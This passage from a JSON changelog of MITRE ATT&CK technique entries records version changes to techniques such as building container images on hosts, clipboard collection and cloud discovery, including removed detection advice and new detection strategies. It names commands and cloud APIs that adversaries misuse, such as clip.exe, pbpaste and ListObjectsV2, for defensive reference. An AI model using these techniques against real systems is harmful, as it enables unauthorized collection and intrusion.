"description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1612", + "external_id": "T1612" + }, + { + "source_name": "Aqua Build Images on Hosts", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host" + }, + { + "source_name": "Docker Build Image", + "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild" + }, + { + "source_name": "Aqua Security Cloud Native Threat Report June 2021", + "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", + "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security", + "Roi Kol, @roykol1, Team Nautilus Aqua Security", + "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security", + "Vishwas Manral, McAfee" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Image: Image Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.646000+00:00\", \"old_value\": \"2025-04-15 21:54:42.589000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0459: Detection Strategy for Build Image on Host" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:25.967000+00:00", + "modified": "2025-10-24 17:48:36.079000+00:00", + "name": "Clipboard Data", + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1115", + "external_id": "T1115" + }, + { + "source_name": "CISA_AA21_200B", + "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b" + }, + { + "source_name": "mining_ruby_reversinglabs", + "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.", + "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems" + }, + { + "source_name": "clip_win_server", + "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.", + "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip" + }, + { + "source_name": "MSDN Clipboard", + "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms649012" + }, + { + "source_name": "Operating with EmPyre", + "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.", + "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.079000+00:00\", \"old_value\": \"2025-04-15 21:57:50.289000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0341: Clipboard Data Access with Anomalous Context" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-20 17:51:25.671000+00:00", + "modified": "2025-10-24 17:48:49.479000+00:00", + "name": "Cloud Infrastructure Discovery", + "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1580", + "external_id": "T1580" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "AWS Head Bucket", + "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html" + }, + { + "source_name": "AWS Get Public Access Block", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html" + }, + { + "source_name": "AWS Describe DB Instances", + "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.", + "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html" + }, + { + "source_name": "Amazon Describe Instance", + "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html" + }, + { + "source_name": "Amazon Describe Instances API", + "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html" + }, + { + "source_name": "Google Compute Instances", + "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list" + }, + { + "source_name": "Mandiant M-Trends 2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas", + "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.", + "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Praetorian", + "Isif Ibrahima, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Enumeration\", \"Cloud Storage: Cloud Storage Enumeration\", \"Volume: Volume Enumeration\", \"Snapshot: Snapshot Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.479000+00:00\", \"old_value\": \"2025-04-15 22:02:30.057000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0010: Cloud Storage (Cloud Storage Enumeration)", + "DS0020: Snapshot (Snapshot Enumeration)", + "DS0030: Instance (Instance Enumeration)", + "DS0034: Volume (Volume Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0169: Detection Strategy for Cloud Infrastructure Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 18:11:24.582000+00:00", + "modified": "2025-10-24 17:49:32.022000+00:00", + "name": "Cloud Service Dashboard", + "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1538", + "external_id": "T1538" + }, + { + "source_name": "AWS Console Sign-in Events", + "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.", + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html" + }, + { + "source_name": "Google Command Center Dashboard", + "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", + "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Obsidian Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.022000+00:00\", \"old_value\": \"2025-04-15 19:59:16.288000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0291: Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 13:01:10.120000+00:00", + "modified": "2025-10-24 17:49:30.791000+00:00", + "name": "Cloud Service Discovery", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1526", + "external_id": "T1526" + }, + { + "source_name": "Azure AD Graph API", + "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview" + }, + { + "source_name": "Azure - Resource Manager API", + "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.", + "url": "https://docs.microsoft.com/en-us/rest/api/resources/" + }, + { + "source_name": "Azure - Stormspotter", + "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.", + "url": "https://github.com/Azure/Stormspotter" + }, + { + "source_name": "GitHub Pacu", + "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", + "url": "https://github.com/RhinoSecurityLabs/pacu" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Suzy Schapperle - Microsoft Azure Red Team", + "Praetorian", + "Thanabodi Phrakhun, I-SECURE", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Enumeration\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.791000+00:00\", \"old_value\": \"2025-04-15 22:03:24.903000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0025: Cloud Service (Cloud Service Enumeration)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0402: Detection Strategy for Cloud Service Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-01 17:58:26.445000+00:00", + "modified": "2025-10-24 17:49:03.853000+00:00", + "name": "Cloud Storage Object Discovery", + "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1619", + "external_id": "T1619" + }, + { + "source_name": "ListObjectsV2", + "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.", + "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html" + }, + { + "source_name": "List Blobs", + "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.", + "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Regina Elwell", + "Isif Ibrahima, Mandiant" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Storage: Cloud Storage Access\", \"Cloud Storage: Cloud Storage Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.853000+00:00\", \"old_value\": \"2025-04-15 22:04:12.682000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \\nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \\n-Monitor cloud logs for API calls used for file or object enumeration for unusual activity. \"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0010: Cloud Storage (Cloud Storage Access)", + "DS0010: Cloud Storage (Cloud Storage Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0578: Detection Strategy for Cloud Storage Object Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:49.546000+00:00", + "modified": "2025-10-24 17:48:57.520000+00:00", + "name": "Command and Scripting Interpreter", + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059", + "external_id": "T1059" + }, + { + "source_name": "Remote Shell Execution in Python", + "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.", + "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Command History", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" + }, + { + "source_name": "Powershell Remote Commands", + "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.520000+00:00\", \"old_value\": \"2025-04-15 19:58:41.855000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n\\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n-\\n-If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and 